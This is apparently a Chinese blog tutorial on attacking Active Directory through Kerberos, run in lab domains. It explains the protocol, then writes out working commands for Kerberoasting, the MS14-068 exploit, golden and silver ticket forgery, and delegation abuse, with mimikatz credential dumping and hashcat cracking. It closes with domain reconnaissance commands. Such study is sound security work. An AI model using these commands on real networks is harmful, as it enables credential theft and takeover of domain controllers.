0X00  域滲透-Kerberos

1.Kerberos簡介

在Kerberos認證中,最主要的問題是如何證明“你是你”的問題,如當一個Client去訪問Server服務器上的某服務時,Server如何判斷Client是否有權限來訪問自己主機上的服務,同時保證在這個過程中的通訊內容即使被攔截或篡改也不影響通訊的安全性,這正是Kerberos解決的問題。在域滲透過程中Kerberos協議的攻防也是很重要的存在。

2.Kerberos協議框架

在Kerberos協議中主要是有三個角色的存在:

  • 訪問服務的Client
  • 提供服務的Server
  • KDC(Key Distribution Center)密鑰分發中心 其中KDC服務默認會安裝在一個域的域控中,而Client和Server為域內的用户或者是服務,如HTTP服務,SQL服務。在Kerberos中Client是否有權限訪問Server端的服務由KDC發放的票據來決定。

ad域 跨vlan_ad域 跨vlan

如果把Kerberos中的票據類比為一張火車票,那麼Client端就是乘客,Server端就是火車,而KDC就是就是車站的認證系統。如果Client端的票據是合法的(由你本人身份證購買並由你本人持有)同時有訪問Server端服務的權限(車票對應車次正確)那麼你才能上車。當然和火車票不一樣的是Kerberos中有存在兩張票,而火車票從頭到尾只有一張。

由上圖中可以看到KDC又分為兩個部分:

Authentication Server: AS的作用就是驗證Client端的身份(確定你是身份證上的本人),驗證通過就會給一張TGT(Ticket Granting Ticket)票給Client。

Ticket Granting Server: TGS的作用是通過AS發送給Client的票(TGT)換取訪問Server端的票(上車的票ST)。ST(ServiceTicket)也有資料稱為TGS Ticket,為了和TGS區分,在這裏就用ST來説明。

ad域 跨vlan_Server_02

KDC服務框架中包含一個KRBTGT賬户,它是在創建域時系統自動創建的一個賬號,可以暫時理解為他就是一個無法登陸的賬號。

ad域 跨vlan_安全_03

3.Kerberos認證

流程當Client想要訪問Server上的某個服務時,需要先向AS證明自己的身份,然後通過AS發放的TGT向Server發起認證請求,這個過程分為三塊:

The Authentication Service Exchange:Client與AS的交互

The Ticket-Granting Service (TGS) Exchange:Client與TGS的交互

The Client/Server Authentication Exchange:Client與Server的交互

ad域 跨vlan_sql_04

(1)TheAuthentication Service Exchange

KRB_AS_REQ

Client->AS:發送 Authenticator1(Client 密碼加密 TimeStamp)

第一步 Client 先向 KDC 的 AS 發送 Authenticator1,內容為通過 Client 密碼 Hash 加密的時間戳、ClientID、網絡地址、加密類型等內容。

ad域 跨vlan_ad域 跨vlan_05

KRB_AS_REP

AS-> Client:發送 Client 密碼加密的 sessionkey-as 和票據 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

在 KDC 中存儲了域中所有用户的密碼 HASH,當 AS 接收到 Client 的請求之後會根據 KDC 中存儲的密碼來解密,解密成功並且驗證信息。驗證成功後返回給 Client 由 Client 密碼 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。

(2)TheTicket-Granting Service (TGS) Exchange

KRB_TGS_REQ

Client ->TGS 發送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票據 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp)

Client 接收到了加密後的 Sessionkey-as 和 TGT 之後,用自身密碼解密得到 Sessionkey-as,TGT 是由 KDC 密碼加密,Client 無法解密。這時 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起發送給 KDC 中的 TGS(TicketGranting Server)票據授權服務器換取能夠訪問 Server 的票據。

ad域 跨vlan_用户名_06

KRB_TGS_REP

TGS-> Client 發送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票據 ST(Server 密碼 HASH 加密 sessionkey-tgs)

TGS 收到 Client 發送過來的 TGT 和 Sessionkey-as 加密的 TimeStamp 之後,首先會檢查自身是否存在 Client 所請求的服務。如果服務存在,則用 KRBTGT 密碼解密 TGT。一般情況下 TGS 會檢查 TGT 中的時間戳查看 TGT 是否過期,且原始地址是否和 TGT 中保存的地址相同。驗證成功之後將用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密碼 HASH 加密的 Sessionkey-tgs 發送給 Client。

(3)TheClient/Server Authentication Exchange

KRB_AP_REQ

Client ->Server 發送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票據 ST(Server 密碼 HASH 加密 sessionkey-tgs)

Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密碼 HASH 加密的 sessionkey-tgs 之後用 sessionkey-as 解密得到 sessionkey-tgs,然後把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起發送給 Server。

ad域 跨vlan_安全_07

KRB_AP_REP

Server-> Client

server 通過自己的密碼解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,驗證正確返回驗證成功。

0X01 域滲透-SPN

1.SPN 簡介

服務主體名稱(SPN:ServicePrincipal Names)是服務實例(可以理解為一個服務,比如 HTTP、MSSQL)的唯一標識符。Kerberos 身份驗證使用 SPN 將服務實例與服務登錄帳户相關聯。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的 SPN。如果客户端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個 SPN。SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名註冊 SPN。

如果用一句話來説明的話就是如果想使用 Kerberos 協議來認證服務,那麼必須正確配置 SPN。

2.SPN 格式與配置

在 SPN 的語法中存在四種元素,兩個必須元素和兩個額外元素,其中和為必須元素:


<serviceclass>/<host>:<port>/<service name>

<service class>:標識服務類的字符串

<host>:服務所在主機名稱

<port>:服務端口

<service name>:服務名稱


例:

為 SQL Server 服務帳户註冊SPN

手動註冊:


setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname


對應的命名實例:


setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname


如果我想把域中一台主機Srv-DB-0day中的 MSSQL 服務註冊到 SPN 中則可以使用命令:


setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin


可以通過下面兩個命令來查看已經註冊的 SPN。


setspn -q */* 
setspn -T 0day.org -q */*


ad域 跨vlan_sql_08

ad域 跨vlan_Server_09

3.SPN掃描

在瞭解了 Kerberos 和 SPN 之後,可以通過 SPN 來獲取想要的信息,比如想知道域內哪些主機安裝了什麼服務,就不需要再進行批量的網絡端口掃描。在一個大型域中通常會有不止一個的服務註冊 SPN,所以可以通過「SPN 掃描」的方式來查看域內的服務。相對於通常的網絡端口掃描的優點是不用直接和服務主機建立連接,且隱蔽性更高。

4.掃描工具

GetUserSPNs

GetUserSPNs 是 Kerberoast 工具集中的一個 powershell 腳本,用來查詢域內註冊的 SPN。


Import-module .\GetUserSPNs.ps1


ad域 跨vlan_sql_10

PowerView

PowerView 是由 Will Schroeder(https://twitter.com/harmj0y)開發的 Powershell 腳本,在 Powersploit 和 Empire 工具裏都有集成,PowerView 相對於上面幾種是根據不同用户的 objectsid 來返回,返回的信息更加詳細。


Import-module .\powerview.ps1
Get-NetUser -SPN


ad域 跨vlan_Server_11

5.原理説明

在 SPN 掃描時可以直接通過腳本,或者命令去獲悉內網已經註冊的 SPN 內容。那如果想了解這個過程是如何實現的,就需要提到 LDAP 協議。

LDAP 協議全稱是 LightweightDirectory Access Protocol,一般翻譯成輕量目錄訪問協議。是一種用來查詢與更新 Active Directory 的目錄服務通信協議。AD 域服務利用 LDAP 命名路徑(LDAP naming path)來表示對象在 AD 內的位置,以便用它來訪問 AD 內的對象。

LDAP 數據的組織方式:

ad域 跨vlan_用户名_12

更直觀的説可以把 LDAP 協議理解為一個關係型數據庫,其中存儲了域內主機的各種配置信息。

在域控中默認安裝了 ADSI 編輯器,全稱 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一種 LDAP 的編輯器,可以通過在域控中運行 adsiedit.msc 來打開(服務器上都有,但是隻有域控中的有整個域內的配置信息)。

ad域 跨vlan_ad域 跨vlan_13

通過 adsiedit.msc 我們可以修改和編輯 LADP,在 SPN 查詢時實際上就是查詢 LADP 中存儲的內容。

比如在我們是實驗環境域 0day.org中,存在名為運維組 的一個 OU(OrganizationUnit,可以理解為一個部門,如行政、財務等等),其中包含了 sqlsvr 這個用户,從用户屬性中可以看到 sqlsvr 註冊過的 SPN 內容。

ad域 跨vlan_ad域 跨vlan_14

在一台主機執行


setspn -T 0day.org -q */*


命令查詢域內 SPN 時,通過抓包可以看到正是通過 LDAP 協議向域控中安裝的 LDAP 服務查詢了 SPN 的內容。

如圖在主機192.168.3.62上執行目錄,在域控192.168.3.142可以看到LDAP協議的流量。

ad域 跨vlan_sql_15

流量中的查詢結果:

ad域 跨vlan_Server_16

Powershell 腳本其實主要就是通過查詢 LDAP 的內容並對返回結果做一個過濾,然後展示出來。

6.Kerberoasting

介紹 Kerberos 的認證流程時説到,在 KRB_TGS_REP 中,TGS 會返回給 Client 一張票據 ST,而 ST 是由 Client 請求的 Server 端密碼進行加密的。當 Kerberos 協議設置票據為 RC4 方式加密時,我們就可以通過爆破在 Client 端獲取的票據 ST,從而獲得 Server 端的密碼。

下圖為設置 Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中進行設置:

ad域 跨vlan_安全_17

設置RC4 方式加密。

ad域 跨vlan_Server_18

設置完成之後運行裏輸入「gpupdate」刷新組策略,策略生效。

7.Kerberoasting攻擊方式一

一、在域內主機 PC-Jack 中通過 Kerberoast 中的 GetUserSPNs.vbs 進行 SPN 掃描。


cscript GetUserSPNs.vbs


ad域 跨vlan_用户名_19

二、根據掃描出的結果使用微軟提供的類 KerberosRequestorSecurityToken 發起 kerberos 請求,申請 ST 票據。


PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org"


ad域 跨vlan_ad域 跨vlan_20

三、Kerberos 協議中請求的票據會保存在內存中,可以通過 klist 命令查看當前會話存儲的 kerberos 票據。

ad域 跨vlan_安全_21

使用 mimikatz 導出。


kerberos::list /export


ad域 跨vlan_用户名_22

使用 kerberoast 工具集中的 tgsrepcrack.py 工具進行離線爆破,成功得到jerry賬號的密碼admin!@#45


python2 tgsrepcrack.py wordlist.txt "1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi"


ad域 跨vlan_Server_23

8.Kerberoasting攻擊方式二

Kerberoasting攻擊方式一中需要通過 mimikatz 從內存中導出票據,Invoke-Kerberoast 通過提取票據傳輸時的原始字節,轉換成 John the Ripper 或者 HashCat 能夠直接爆破的字符串。

使用 Invoke-Kerberoast 腳本 (這裏使用的是 Empire 中的 Invoke-Kerberoast.ps1)。


Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl


–outputformat 參數可以指定輸出的格式,可選 John the Ripper 和 Hashcat 兩種格式

ad域 跨vlan_用户名_24

二、使用 HASHCAT 工具進行破解:


PSC:> hashcat64.exe –m 13100 test1.txt password.list --force


ad域 跨vlan_安全_25

9.Impacket 進行Kerberoasting

這裏要用到impacket工具包,該工具包用於對SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等協議進行低級編程訪問。這裏我們使用的是GetUserSPNs工具,可使用該工具對目標主機進行SPN探測。


https://github.com/SecureAuthCorp/impacket               官方倉庫https://github.com/maaaaz/impacket-examples-windows      有人已將各個腳本打包成相應的exe,此處絕大部分也都將全部用這些exe單文件來進行操作


其命令用法如下:


python GetUserSPNs.py -request -dc-ip x.x.x.x 域名稱/域用户


輸入當前域用户的密碼,即可的到票據。

ad域 跨vlan_ad域 跨vlan_26

同樣對票據進行爆破。


hashcat64.exe –m 13100 test1.txt password.list --force


正在上傳…重新上傳取消



0X02  域滲透-MS14-068

1.MS14-068

MS14068是一個能夠使普通用户提權到域控權限的權限提升漏洞。攻擊者可以通過構造特定的請求包來達到提升權限的目的。

2.利用方式

攻擊流程:

MS14-068對應的補丁為KB3011780,可在域控上通過systeminfo查看是否安裝此補丁。

ad域 跨vlan_ad域 跨vlan_27

一、在域內主機jerry上通過dir來訪問域控的共享文件夾,示拒絕訪問。


dir \\OWA2010SP3.0day.org\c$


ad域 跨vlan_用户名_28

二、通過Pykek工具利用漏洞,我這裏使用的是將python腳本編譯之後的exe文件。

參數説明:

-u 域賬號+@+域名稱,這裏是jerry+@+rootkit.org

-p 為當前用户的密碼,即jerry的密碼

-s為jerry的SID值,可以通過whoami/all來獲取用户的SID值

-d為當前域的域控

ad域 跨vlan_用户名_29


MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1142 -d OWA2010SP3.0day.org


ad域 跨vlan_ad域 跨vlan_30

腳本執行成功會在當前目錄下生成一個ccache文件。

ad域 跨vlan_安全_31

三、使用mimikatz導入生成的ccache文件,導入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge刪除當前緩存的kerberos票據。


klist purge


ad域 跨vlan_sql_32


kerberos::ptc TGT_sqladmin@0day.org.ccache


ad域 跨vlan_Server_33

再次dir訪問域控共享就可以成功訪問。


dir \\OWA2010SP3.0day.org\c$


ad域 跨vlan_Server_34

3.goldenPac.exe

impacket工具包裏面的goldenPac.py,這個工具是結合ms14-068加psexec的產物,利用起來十分順手。

這裏用到的是編譯的exe文件。


goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org


ad域 跨vlan_用户名_35

當然此工具不止是得到一個shell,我們甚至可以直接讓該域控運行我們上傳的程序。

這個漏洞中主要的問題是存在於KDC會根據客户端指定PAC中數字簽名的加密算法,以及PAC的加密算法,來校驗PAC的合法性。這使得攻擊者可通過偽造PAC,修改PAC中的SID,導致KDC判斷攻擊者為高權限用户,從而導致權限提升漏洞的產生。

0X03 域滲透-Ticket

1.GoldenTicket


簡介


Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高權限的TGT,那麼就可以發送給TGS換取任意服務的ST。可以説有了金票就有了域內的最高權限。

製作金票的條件:

1、域名稱

2、域的SID值

3、域的KRBTGT賬户密碼HASH

4、偽造用户名,可以是任意的


利用過程


金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的


lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt


命令獲取krbtgt的值。

ad域 跨vlan_ad域 跨vlan_36

得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT。

參數説明:

/admin:偽造的用户名

/domain:域名稱

/sid:SID值,注意是去掉最後一個-後面的值

/krbtgt:krbtgt的HASH值

/ticket:生成的票據名稱


kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi


ad域 跨vlan_ad域 跨vlan_37

通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi導入內存中。


kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list


ad域 跨vlan_Server_38

此時就可以通過dir成功訪問域控的共享文件夾。


dir \\OWA2010SP3.0day.org\c$


ad域 跨vlan_sql_39

2.SilverTickets


簡介


Silver Tickets(下面稱銀票)就是偽造的ST(Service Ticket),因為在TGT已經在PAC裏限定了給Client授權的服務(通過SID的值),所以銀票只能訪問指定服務。

製作銀票的條件:

1.域名稱

2.域的SID值

3.域的服務賬户的密碼HASH(不是krbtgt,是域控)

4.偽造的用户名,可以是任意用户名,這裏是silver


利用過程


首先我們需要知道服務賬户的密碼HASH,這裏同樣拿域控來舉例,通過mimikatz查看當前域賬號administrator的HASH值。注意,這裏使用的不是Administrator賬號的HASH,而是OWA2010SP3$的HASH


sekurlsa::logonpasswords


ad域 跨vlan_安全_40

這時得到了OWA2010SP3$的HASH值,通過mimikatz生成銀票。

參數説明:

/domain:當前域名稱

/sid:SID值,和金票一樣取前面一部分

/target:目標主機,這裏是OWA2010SP3.0day.org

/service:服務名稱,這裏需要訪問共享文件,所以是cifs

/rc4:目標主機的HASH值

/user:偽造的用户名

/ptt:表示的是Pass TheTicket攻擊,是把生成的票據導入內存,也可以使用/ticket導出之後再使用kerberos::ptt來導入


kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt


ad域 跨vlan_用户名_41

這時通過klist查看當前會話的kerberos票據可以看到生成的票據。

ad域 跨vlan_用户名_42

使用dir \\OWA2010SP3.0day.org\c$訪問DC的共享文件夾。

ad域 跨vlan_ad域 跨vlan_43

3.EnhancedGolden Tickets

在Golden Ticket部分説明可利用krbtgt的密碼HASH值生成金票,從而能夠獲取域控權限同時能夠訪問域內其他主機的任何服務。但是普通的金票不能夠跨域使用,也就是説金票的權限被限制在當前域內。


域樹與域林


在下圖中 UKNOWSEC.CN 為其他兩個域的根域,NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均為 UKNOWSEC.CN的子域,這三個域組成了一個域樹。子域的概念可以理解為一個集團在不同業務上分公司,他們有業務重合的點並且都屬於 UKNOWSEC.CN這個根域,但又獨立運作。同樣 TEST.COM 也是一個單獨的域樹,兩個域樹 UKONWSE.CN 和 TEST.CN 組合起來被稱為一個域林。

ad域 跨vlan_sql_44

4.普通金票的侷限性

在上圖中説到UKNOWSEC.CN為其他兩個域(NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN)的根域,根域和其他域的最大的區別就是根域對整個域林都有控制權。而域正是根據Enterprise Admins組來實現這樣的權限劃分。

Enterprise Admins組

EnterpriseAdmins組是域中用户的一個組,只存在於一個林中的根域中,這個組的成員,這裏也就是UKNOWSEC.CN中的Administrator用户(不是本地的Administrator,是域中的Administrator)對域有完全管理控制權。

UKNOWSEC.CN的域控上Enterprise Admins組的RID為519.

Domain Admins組

子域中是不存在EnterpriseAdmins組的,在一個子域中權限最高的組就是Domain Admins組。NEWS.UKNOWSEC.CN這個子域中的Administrator用户,這個Administrator有當前域的最高權限。

5.突破限制

普通的黃金票據被限制在當前域內,在2015年Black Hat USA中國外的研究者提出了突破域限制的增強版的黃金票據。通過域內主機在遷移時LDAP庫中的SIDHistory屬性中保存的上一個域的SID值製作可以跨域的金票。

如果知道根域的SID那麼就可以通過子域的KRBTGT的HASH值,使用mimikatz創建具有 EnterpriseAdmins組權限(域林中的最高權限)的票據。

然後通過mimikatz重新生成包含根域SID的新的金票


kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX /sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt


Startoffset和endin分別代表偏移量和長度,renewmax表示生成的票據的最長時間。

注意這裏是不知道根域UKONWSEC.CN的krbtgt的密碼HASH的,使用的是子域NEWS.UKNOWSEC.CN中的KRBTGT的密碼HASH。

然後就可以通過dir訪問DC. UKNOWSEC的共享文件夾,此時的這個票據票是擁有整個域林的控制權的。

6.Reference

Kerberos協議探索系列之掃描與爆破篇 - FreeBuf網絡安全行業門户

0X04 域滲透-Delegation

1.委派

在域中如果出現A使用Kerberos身份驗證訪問域中的服務B,而B再利用A的身份去請求域中的服務C,這個過程就可以理解為委派。

ad域 跨vlan_用户名_45

User訪問主機s2上的HTTP服務,而HTTP服務需要請求其他主機的SQLServer數據庫,但是S2並不知道User是否有權限訪問SQLServer,這時HTTP服務會利用User的身份去訪問SQLServer,如果User有權限訪問SQLServer服務才能訪問成功。

而委派主要分為非約束委派(Unconstraineddelegation)和約束委派(Constrained delegation)兩個方式。

2.非約束委派

非約束委派在Kerberos中實現時,User會將從KDC處得到的TGT發送給訪問的service1(可以是任意服務),service1拿到TGT之後可以通過TGT訪問域內任意其他服務,所以被稱為非約束委派。

ad域 跨vlan_安全_46

流程:

  1. 用户通過發送KRB_AS_REQ消息請求可轉發 TGT(forwardable TGT,為了方便我們稱為TGT1)。
  2. KDC在KRB_AS_REP消息中返回TGT1。
  3. 用户再通過TGT1向KDC請求轉發TGT(forwardedTGT,我們稱為TGT2)。
  4. 在KRB_TGS_REP消息中返回轉發TGT2。
  5. 用户使用TGT1向KDC申請訪問Service1的ST(ServiceTicket)。
  6. TGS返回給用户一個ST。
  7. 用户發送KRB_AP_REQ請求至Service1,這個請求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
  8. Service1使用用户的TGT2通過KRB_TGS_REQ發送給KDC,以用户的名義請求能夠訪問Service2的票據。
  9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票據。
  10. Service1以用户的名義像Service2發送KRB_AP_REQ請求。
  11. Service2響應步驟10中Service1的請求。
  12. Service1響應步驟7中用户的請求。
  13. 在這個過程中的TGT轉發機制,沒有限制Service1對TGT2的使用,也就是説Service1可以通過TGT2來請求任意服務。
  14. KDC返回步驟13中請求的票據。

15和16即為Service1通過模擬用户來訪問其他Service。

可以看到在前5個步驟中User向KDC申請了兩個TGT(步驟2和4),一個用於訪問Service1一個用於訪問Service2,並且會將這兩個都發給Service1。並且Service1會將TGT2保存在內存中。

非約束委派的設置:

Windows域中可以直接在賬户屬性中設置:

ad域 跨vlan_安全_47

3.約束委派

由於非約束委派的不安全性,微軟在windows2003中發佈了約束委派的功能。約束委派在Kerberos中User不會直接發送TGT給服務,而是對發送給service1的認證信息做了限制,不允許service1代表User使用這個TGT去訪問其他服務。這裏包括一組名為S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos協議擴展。

從下圖可以看到整個過程其實可以分為兩個部分,第一個是S4U2Self的過程(流程1-4),第二個是S4U2Proxy的過程(流程5-10)。

ad域 跨vlan_用户名_48

流程:

  1. 用户向Service1發送請求。
  2. 這時在官方文檔中的介紹是在這一流程開始之前Service1已經通過KRB_AS_REQ得到了用户用來訪問Service1的TGT,然後通過S4U2self擴展模擬用户向KDC請求ST。
  3. KDC這時返回給Service1一個用於用户驗證Service1的ST(我們稱為ST1),並且Service1用這個ST1完成和用户的驗證過程。
  4. Service1在步驟3使用模擬用户申請的ST1完成與用户的驗證,然後響應用户。

注:這個過程中其實Service1是獲得了用户的TGT和ST1的,但是S4U2Self擴展不允許Service1代表用户去請求其他的服務。

  1. 用户再次向Service1發起請求,此時Service1需要以用户的身份訪問Service2。這裏官方文檔提到了兩個點:

A.Service1已經驗證通過,並且有一個有效的TGT。

B.Service1有從用户到Service1的forwardableST(可轉發ST)。個人認為這裏的forwardable ST其實也就是ST1。

  1. Service1代表用户向Service2請求一個用於認證Service2的ST(我們稱為ST2)。用户在ST1中通過cname(client name)和crealm(client realm)字段標識。
  2. KDC在接收到步驟6中Service1的請求之後,會驗證PAC(特權屬性證書,在第一篇中有説明)的數字簽名。如果驗證成功或者這個請求沒有PAC(不能驗證失敗),KDC將返回ST2給Service1,不過這個ST2中cname和crealm標識的是用户而不是Service1。
  3. Service1代表用户使用ST2請求Service2。Service2判斷這個請求來自已經通過KDC驗證的用户。
  4. Service2響應Service1的請求。
  5. Service1響應用户的請求。

在這個過程中,S4U2Self擴展的作用是讓Service1代表用户向KDC驗證用户的合法性,並且得到一個可轉發的ST1。S4U2Proxy的作用可以説是讓Service1代表用户身份通過ST1重新獲取ST2,並且不允許Service1以用户的身份去訪問其他服務。更多的細節可以參考官方的文檔,和RFC4120的內容。

同時注意forwardable字段,有forwardable標記為可轉發的是能夠通過S4U2Proxy擴展協議進行轉發的,如果沒有標記則不能進行轉發。

約束委派的配置:

可以在賬户屬性中將SRV-DB-ODAY的委派方式更改為約束委派

ad域 跨vlan_sql_49

4.發現域中的委派主機或賬户

在域中,可以通過PowerView腳本來搜索開啓了委派的主機和用户。查詢非約束委派主要是通過搜索userAccountControl屬性包含ADS_UF_TRUSTED_FOR_DELEGATION的主機或賬户。而約束委派則通過查詢userAccountControl屬性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主機或用户。

非約束委派

通過Import-Module PowerView.ps1加載PowerView腳本之後使用下面的命令進行查詢。

查詢域中配置非約束委派的賬户:


Get-NetUser -Unconstrained -Domain rootkit.org


查詢域中配置非約束委派的主機:


Get-NetComputer -Unconstrained -Domain rootkit.org


約束委派

查詢域中配置約束委派的賬户:


Get-DomainUser -TrustedToAuth -Domain rootkit.org


查詢域中配置約束委派的主機:


Get-DomainComputer -TrustedToAuth -Domain rootkit.org


6.委派攻擊利用

非約束委派的利用

假設已經獲取了一個已經配置了委派的賬户權限或者是密碼,現在我們通過這些條件來攻擊其他賬户。

在域中只有服務賬户才能有委派功能,所以先把用户sqladmin設置為服務賬號。


setspn -U -A variant/golden sqladmin


ad域 跨vlan_ad域 跨vlan_50


setspn -l sqladmin


查看配置成功。

ad域 跨vlan_安全_51

然後在“AD用户和計算機”中將sqladmin設置為非約束委派模式

ad域 跨vlan_ad域 跨vlan_52

在域控上使用Administrator訪問sqladmin所在主機Srv-Web-Kit的SMB服務。


dir \\Srv-Web-Kit.rootkit.org\c$


ad域 跨vlan_用户名_53

在Srv-Web-Kit上通過mimikatz可以導出Administrator發送過來的TGT內容。這裏需要使用管理員權限打開mimikatz,然後通過privilege::debug命令提升權限,如果沒有提升權限會報kuhl_m_sekurlsa_acquireLSA錯誤。再使用sekurlsa::tickets/export命令導出內存中所有的票據。

ad域 跨vlan_sql_54

訪問域控失敗

ad域 跨vlan_ad域 跨vlan_55

通過


kerberos::ptt [0;a17510]-2-0-60a10000-Administrator@krbtgt-ROOTKIT.ORG.kirbi


命令將TGT內容導入到當前會話中。

ad域 跨vlan_ad域 跨vlan_56

導入之後已經可以訪問域控的共享目錄。也就是説每當存在用户訪問tsvc的服務時,tsvc的服務就會將訪問者的TGT保存在內存中,可以通過這個TGT訪問這個TGT所屬用户的所有服務。

ad域 跨vlan_Server_57

約束委派的利用

假設已知配置了約束委派的賬號,並且已知當前配置了約束委派的當前賬户的密碼。

  1. 確認賬號sqladmin設置了約束委派。

ad域 跨vlan_ad域 跨vlan_58

  1. 使用kekeo對域控發起申請TGT的請求。

通過已知的賬户名和明文密碼對KDC發起請求,得到TGT。


tgt::ask /user:sqladmin /domain:rootkit.org /password:Admin12345 /ticket:sqladmin.kirbi


ad域 跨vlan_sql_59

/user:當前用户名

/domain:所在域名

/password:當前用户名的密碼

/ticket:生成票據名稱。

  1. 使用kekeo申請TGS票據

    ad域 跨vlan_用户名_60

tgs::s4u /tgt:TGT_sqladmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:administrator@rootkit.org /service:cifs/owa2013.rootkit.org

/tgt:上一步通過kekeo生成的tgt票據

/user:想要偽造的用户名寫全稱(用户名@域名)

/service:想要偽造訪問的服務名(服務名/主機的FQDN名稱)

  1. 使用mimikatz將生成的TGS文件導入到Kerberos憑據列表中

ad域 跨vlan_用户名_61

這時可以看到導入之後已經能夠成功訪問域控的共享文件(嚴格來説應該是非約束委派中設置的SPN的權限)。而且在這個過程中是不需要管理員權限的,只是用當前賬户的權限就可以完成,因為不需要從內存中導出票據。

非約束委派去獲得所設置的SPN的權限主要是三個步驟

1、請求TGT

2、請求TGS

3、將TGS導入內存

第1步,使用Kekeo發起AS-REQ請求去請求TGT。這時sqladmin獲取到了一個TGT,並且kekeo工具將其保存為一個kirbi格式的文件。

第2步,再使用這個TGT申請兩個ST文件,上文中説到過在約束委派實現的過程中分為兩個部分,分別是S4U2Self擴展和S4U2Proxy擴展。S4U2Self中Service1會代替用户向KDC申請一張用於訪問自身的TGS,這個TGS也就是生成的兩個TGS中的一個(TGS_administrator@rootkit.org@ROOTKIT.ORG_sqladmin@ROOTKIT.ORG.kirbi)還有一個TGS是用於訪問非受限委派中設置的SPN的TGS(TGS_administrator@rootkit.org@ROOTKIT.ORG_cifs~owa2013.rootkit.org@ROOTKIT.ORG.kirbi)。

關於約束委派的這種攻擊方式就是通過在Service1(sqladmin)中將自己偽造成用户,然後獲取允許約束委派的SPN的TGS的一個過程。

委派攻擊的防禦

通過上文中説到設置了非約束委派的賬户權限如果被竊取那麼攻擊者可能獲取非常多其他賬户的TGT,所以最好是不要在域中使用非約束委派這種功能。

域中不需要使用委派的賬户特別是administrator賬户,設置為“敏感用户不能被委派”。

正在上傳…重新上傳取消



0X05 域滲透-域內信息收集

1.常用收集域信息命令


Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 獲得所有域用户組列表
net group “domain admins” /domain 獲得域管理員列表
net group “enterprise admins” /domain 獲得企業管理員列表
net localgroup administrators /domain 獲取域內置administrators組用户(enterprise admins、domain admins)
net group “domain controllers” /domain 獲得域控制器列表
net group “domain computers” /domain 獲得所有域成員計算機列表
net user /domain 獲得所有域用户列表
net user someuser /domain 獲得指定賬户someuser的詳細信息
net accounts /domain 獲得域密碼策略設置,密碼長短,錯誤鎖定等信息
nltest /domain_trusts 獲取域信任信息


2.SPN掃描

不同於常規的tcp/udp端口掃描,由於spn本質就是正常的Kerberos請求,所以掃描是非常隱蔽,日前針對此類掃描的檢測暫時也比較少。

大部分win系統默認已自帶spn探測工具即:setspn.exe

此操作無需管理權限

域內機器執行


setspn -T target.com -Q */*


可完整查出當前域內所有spn。


Checking domain DC=rootkit,DC=org
CN=OWA2013,OU=Domain Controllers,DC=rootkit,DC=org
	IMAP/OWA2013
	IMAP/OWA2013.rootkit.org
	IMAP4/OWA2013
	IMAP4/OWA2013.rootkit.org
	POP/OWA2013
	POP/OWA2013.rootkit.org
	POP3/OWA2013
	POP3/OWA2013.rootkit.org
	exchangeRFR/OWA2013
	exchangeRFR/OWA2013.rootkit.org
	exchangeMDB/OWA2013
	exchangeMDB/OWA2013.rootkit.org
	SMTP/OWA2013
	SMTP/OWA2013.rootkit.org
	SmtpSvc/OWA2013
	SmtpSvc/OWA2013.rootkit.org
	exchangeAB/OWA2013
	exchangeAB/OWA2013.rootkit.org
